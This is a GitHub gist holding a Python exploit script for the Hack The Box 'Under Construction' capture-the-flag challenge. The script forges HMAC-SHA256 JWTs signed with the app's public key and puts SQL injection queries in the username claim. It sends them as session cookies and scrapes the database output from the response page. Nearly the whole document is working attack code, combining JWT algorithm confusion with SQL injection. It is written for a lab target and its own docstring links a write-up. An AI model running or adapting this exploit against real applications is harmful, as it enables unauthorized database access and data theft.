Skip to content

Instantly share code, notes, and snippets.

@mspraggs
Created July 25, 2023 20:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mspraggs/a8b3a7cc7af7345feab338bbc724a2b3 to your computer and use it in GitHub Desktop.
Save mspraggs/a8b3a7cc7af7345feab338bbc724a2b3 to your computer and use it in GitHub Desktop.
Exploit for HTB Under Construction challenge
"""
This file provides a working exploit for the Hack The Box Under Construction
challenge. A full write-up of this exploit can be found here:
https://www.mattspraggs.co.uk/hack-the-box-under-construction.html
The exploit works by generating a JWT signed with HMAC-SHA256. Instead of a
valid username, a SQL snippet is used to achieve SQL injection and extract
details from the database.
"""
import base64
import hashlib
import hmac
import json
import re
import sys
from typing import Optional
import requests
import bs4
GREEN = "\033[32m"
RED = "\033[31m"
WHITE = "\033[0m"
RESULT_REGEX = re.compile(r'Welcome ([^\n]*)')
JWT_HEADER = {
'alg': 'HS256',
'typ': 'JWT',
}
def green(s: str) -> str:
"""
Surrounds provided string with green and white Bash colour codes.
"""
return f"{GREEN}{s}{WHITE}"
def red(s: str) -> str:
"""
Surrounds provided string with red and white Bash colour codes.
"""
return f"{RED}{s}{WHITE}"
def b64encode(data: bytes) -> str:
"""
Encodes the provided bytes to URL-safe base64 without padding characters.
"""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def generate_jwt(header: dict, body: dict, key: str) -> str:
"""
Generates a signed JWT with the provided header and body, signed with the
provided key.
The resulting JWT is signed using HMAC-SHA256.
"""
encoded_header = b64encode(json.dumps(header).encode())
encoded_body = b64encode(json.dumps(body).encode())
hmac_payload = f'{encoded_header}.{encoded_body}'
sig = hmac.new(key.encode(), hmac_payload.encode(), hashlib.sha256)
encoded_sig = b64encode(sig.digest())
return f'{hmac_payload}.{encoded_sig}'
def generate_jwt_for_app(username: str, key: str) -> str:
"""
Generates a signed JWT with the provided username and key.
The resulting JWT will be compatible with the Under Construction HTB app.
"""
payload = {
'username': username,
'pk': key,
}
return generate_jwt(JWT_HEADER, payload, key)
def inject(query: str, key: str, url: str) -> Optional[list]:
"""
Performs a SQL injection using the provided query snippet, key and url.
"""
jwt = generate_jwt_for_app(query, key)
sess = requests.Session()
sess.cookies['session'] = jwt
resp = sess.get(url)
try:
resp.raise_for_status()
except requests.HTTPError:
return
soup = bs4.BeautifulSoup(resp.text, 'html.parser')
element = soup.find('div', {'class': 'card-body'})
return RESULT_REGEX.findall(getattr(element, 'text', soup.text))
if __name__ == '__main__':
try:
url = sys.argv[1]
keyfile = sys.argv[2]
queriesfile = sys.argv[3]
except IndexError:
print(f'Usage: python {sys.argv[0]} <url> <keyfile> <queries>')
sys.exit()
with open(keyfile) as f:
key = f.read()
with open(queriesfile) as f:
queries = [l.strip() for l in f.readlines()]
for query in queries:
print(f"[ ?? ] INJECTING: {query}")
match = inject(query, key, url)
if match:
print(f"{green('[ ++ ]')} RESULT: {match[0]}")
else:
print(f"{red('[ !! ]')} No result!")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment